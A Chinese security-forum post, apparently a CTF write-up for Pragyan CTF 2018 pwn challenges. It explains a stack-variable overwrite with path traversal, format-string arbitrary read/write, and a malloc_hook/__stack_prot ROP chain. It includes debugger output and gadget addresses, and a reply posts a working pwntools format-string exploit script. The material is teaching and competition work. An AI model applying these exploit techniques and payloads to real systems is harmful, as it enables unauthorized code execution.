首页
社区
课程
招聘
[原创]ctf pwn中的malloc_hook利用及pragyan ctf 2018 pwn writeup
发表于: 2018-3-7 01:50 11674

[原创]ctf pwn中的malloc_hook利用及pragyan ctf 2018 pwn writeup

2018-3-7 01:50
11674

https://github.com/eternalsakura/ctf_pwn/blob/master/pragyan2018/police_academy

程序举例

输出结果
AA
简单调试
编译程序

可以看出函数里本来应该只对a赋值。

但是b的值也被覆盖为A了,这里其实就可以栈溢出,但是在本题中只需要覆盖栈内变量即可。

64位程序,canary,NX保护

密码被硬编码进程序,即kaiokenx20

这个函数的作用就是根据文件名读取文件,这个文件名本来是根据我们的选项(1-7)来决定的,比如如果是7,则v8 = 'txt.galf'。
但是可以看出,如果我们输入的数在1-7之外,那么就不会对v8赋值,如果我们通过前面的scanf直接把v8的值覆盖成我们想要读取的文件名(flag.txt),那么就可以读取到flag了。

因为我们提供的v8的文件名要等于36字节,但是flag.txt没有那么长,所以这里,我们可以用./././..来填充。

首先用scanf覆盖是s1的值为密码(kaiokenx20)+padding,覆盖v8的值为././././././././././././././flag.txt,然后读取flag。

s1需填充0x10即16个字节,v8填充36个字节。

https://github.com/eternalsakura/ctf_pwn/tree/master/pragyan2018/unbreakable_encryption

pwn题中,有形如下述代码的形式就是格式化字符串漏洞

也许使用者的目的只是直接输出字符串,但是这段字符串来源于可控的输入,就造成了漏洞。
示例程序如下

编译:gcc -m32 -o str str.c
输入:%2$x


原因是如果直接printf(“占位符”)这种形式,就会把栈上的偏移当做数据输出出来。通过构造格式化串,就可以实现任意地址读和任意地址写。

事实上,我们在scanf(或者read)来输入字符串的时候,字符串就已经在栈中了,如图,可以看出偏移为6。如果我们构造出addr(4字节)%6$s,就能读取这个地址的值了。

我们尝试一下,输入AAAA%6$s,当然不可能真的读到地址为41414141的内存值,不过从下图我框起来的内容就知道,如果我们输入一个合法的值,就可以读了。

和上面的任意地址读是同理的,只不过利用了格式化字符串的一个比较冷门的特性,%n。
这个占位符可以把它前面输出的字符的数量,写入指定的地址。
比如

val的值就被改变为3。

下述示例来源于RE4B。

linux上优先使用RDI,RSI,RDX,RCX,R8,R9寄存器传递前6个参数,然后利用栈传递其余参数。
汇编代码如下

所以有

所以在64位格式化字符串漏洞利用时,要注意如何计算偏移,因为即使没有占位符,我们依然是按照这个传参规则来读取变量的。

http://pwntools.readthedocs.io/en/stable/fmtstr.html
上面说过我们要利用格式化串漏洞就要得到格式化串的偏移,pwntools有自动化代码可以得到这个偏移。

生成任意地址写的payload的函数.

fmtstr_payload有两个参数

读取输入并打印,并将其传递给encrypt,加载aes文件,加密消息并将其输出到屏幕。
然后它调用decrypt解密,并将明文输出到屏幕上。

scanf处存在栈溢出,上一个题的前置知识已经说过了。
不过这个题因为有canary,所以不能用来直接getshell,我们要想其他方法。

因为静态链接,所以不能改写GOT表,考虑使用malloc_hook来解题,可以参考0ctf的easiestprintf。
其次因为有canary,所以要先leak出canary。
所以总的思路就出来了:

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode了。
直接search。

main

pop_eax

pop_eax = 0x0804c906

jmp_esp = 0x08174bec

要确定偏移需要多次调试,没有什么好的方法。
这里我也是把已经调试好的偏移直接带入跟了一遍而已。
要在pwntools里用gdb调试,首先要先设置好断点文件,然后gdb.attach(r,open(filename))
得到断点文件的方法如下。

然后执行程序


printf执行完后,malloc_hook等于main函数的首地址。

跳回main函数,为了确定跳回,先在main下个断点


继续执行,断在printf


注意hhn代表只覆盖单字节。
这次printf结束之后,__stack_prot的值被修改为7。

继续c还会再跳回main函数,因为malloc_hook还指向main函数。

继续c,执行到printf,这次我不再步入printf里,所以esp就指向格式化串。

printf执行完成后,malloc_hook已经恢复为0,不再会跳回main了,另外可以看出我们的leak出的canary和shellcode已经写入了栈里,实现了栈溢出。

当main函数执行结束,要ret的时候,就返回到我们布置好的利用链里。


栈可执行打开,并跳入shellcode执行。

解密AES得到flag为pctf{th4t_m0m3n1-wh3n~f0rm41`SpiLls_0v3r}

https://github.com/phieulang1993/ctf-writeups/blob/master/2018/pragyan/aes_enc_unbf/aes_enc_unbf.py

Chris is trying out to be a police officer and the applications have just been sent into the police academy.
He is really eager to find out about his competition. 
Help it him back the system and view the other applicant’s applications.

The service is running at 128.199.224.175:13000

Hint! Path Traversals are always a classic.
#include <stdio.h>
int main(void){
    char a,b;
    printf("input character a,b\n");
    scanf("%s",&a);//bug
    printf("%c%c\n",a,b);
    return 0;
}
gcc test.c -g -o test
sakura@ubuntu:~$ gdb test
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from test...done.
pwndbg> b 5
Breakpoint 1 at 0x4005ff: file test.c, line 5.
pwndbg> r
Starting program: /home/sakura/test 
input character a,b
...
pwndbg> n
AAAA
6        printf("%c%c\n",a,b);
...
pwndbg> p a
$1 = 65 'A'
pwndbg> p b
$2 = 65 'A'
pwndbg> c
Continuing.
AA
scanf("%s",&a)
sakura@ubuntu:~$ checksec police_academy 
[*] '/home/sakura/police_academy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
sakura@ubuntu:~$
 if ( strncmp(&s1, "kaiokenx20", 10uLL) )
 __int64 v8; // [rsp+20h] [rbp-30h]
 ...
 v6 = print_record((const char *)&v8);

 signed __int64 __fastcall print_record(const char *a1)
{
  FILE *stream; // [rsp+18h] [rbp-338h]
  char ptr; // [rsp+20h] [rbp-330h]
  unsigned __int64 v4; // [rsp+348h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)strlen(a1) != 36 )         // 文件名要等于36字节
    return 0xFFFFFFFFLL;
  stream = fopen(a1, "r");
  if ( !stream )
    return 0xFFFFFFFFLL;
  printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "r");
  puts("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
  fread(&ptr, 0x30CuLL, 1uLL, stream);
  printf("%s", &ptr);
  printf("\n\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  fclose(stream);
  return 0LL;
}
__isoc99_scanf("%d", &v5);
  switch ( v5 )
  {
    case 1:
      v8 = 3474298655558951218LL;
      v9 = 3847821640488804656LL;
      v10 = 7149858464072819505LL;
      v11 = 7221017546570621237LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 2:
      v8 = 7147605565415700579LL;
      v9 = 3631416849257871156LL;
      v10 = 4121973650644951905LL;
      v3 = (int *)4049125503535429937LL;
      v11 = 4049125503535429937LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 3:
      v8 = 0x3233613163393238LL;
      v9 = 3702634411308757558LL;
      v3 = (int *)7076898166606619443LL;
      v10 = 7076898166606619443LL;
      v11 = 7219893850032333154LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 4:
      v8 = 7221577417837786465LL;
      v3 = (int *)7363447393777498210LL;
      v9 = 7363447393777498210LL;
      v10 = 7017788206782754871LL;
      v11 = '06491899';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 5:
      v8 = 'cb7eb354';
      v9 = 7147275711155430960LL;
      v10 = 7076672766706148656LL;
      v3 = (int *)3486685753473249589LL;
      v11 = 3486685753473249589LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 6:
      v8 = 0331433146246314630463LL;
      v9 = 'b5d57a29';
      v3 = (int *)'a7e6a65d';
      v10 = 'a7e6a65d';
      v11 = 'c721627f';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 7:
      v8 = 'txt.galf';
      LOBYTE(v9) = 0;
      puts("You don't have the required privileges to view the flag, yet.");
      exit(0);
      return result;
    default:
      break;
  }

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2018-3-7 08:49 被sakura零编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (11)
雪    币: 16506
活跃值: (6392)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
2
昨天我也看了下ctf  time的exp发现确实可以拿到shell它取消了nx.    不过got表是可以写的吧!memset可以改
2018-3-7 09:32
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
3
大帅锅 昨天我也看了下ctf time的exp发现确实可以拿到shell它取消了nx. 不过got表是可以写的吧!memset可以改
静态链接改got表没用吧?还是我对动态链接的理解不深刻?
2018-3-7 10:06
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
4
你写出exp或者有调试思路可以站内信私我,我们讨论一下0.0
2018-3-7 10:07
0
雪    币: 16506
活跃值: (6392)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
5
sakura零 静态链接改got表没用吧?还是我对动态链接的理解不深刻?
我改过的  把memset它改成printf
2018-3-7 10:09
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
6
大帅锅 我改过的 把memset它改成printf
能发下exp,我调调么~谢谢0.0
2018-3-7 10:16
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
7
大帅锅 我改过的 把memset它改成printf
我看程序员的自我修养那本书。。。以为got表这些都是动态链接用的...还是太naive..扶额
2018-3-7 10:18
0
雪    币: 16506
活跃值: (6392)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
8
sakura零 我看程序员的自我修养那本书。。。以为got表这些都是动态链接用的...还是太naive..扶额
from pwn import *
import sys
context.arch = 'i386'
if len(sys.argv) < 2:
	p = process('./aes_enc')   
	context.log_level = 'debug'
	gdb.attach(p,'b *0x08048B18\n')
else:   
	p = remote(sys.argv[1], int(sys.argv[2]))#
def welcome():
	log.info('start send')
	#p.recvuntil('Enter message :-') 
	payload = '\x40\xF0\x22\x08\x42\xF0\x22\x08%.2057x%8$hn%.3407x%7$hn'#0822F040 -> 08111560
	p.writeline(payload)
	log.info('send over') 
def exp():       
	welcome() 
	p.interactive()
if __name__ == '__main__':
	exp()
改的memchr 为printf 成功执行了,但后面运行会报错
2018-3-7 10:36
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
9
大帅锅 from&nbsp;pwn&nbsp;import&nbsp;* import&nbsp;sys context.arch&nbsp;=&nbsp; ...
改确实是应该能改的,你能不能跟一下看看当改完后,调用mem会不会执行到printf?0.0
2018-3-7 10:40
0
雪    币: 16506
活跃值: (6392)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
10
你运行一下就知道了
最后于 2018-3-7 10:59 被大帅锅编辑 ,原因:
2018-3-7 10:59
0
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
11
大帅锅 你运行一下就知道了
嗯...下课...
2018-3-7 11:07
0
雪    币: 3549
活跃值: (941)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
12
偷学
2018-3-29 10:01
0
游客
登录 | 注册 方可回帖
返回
//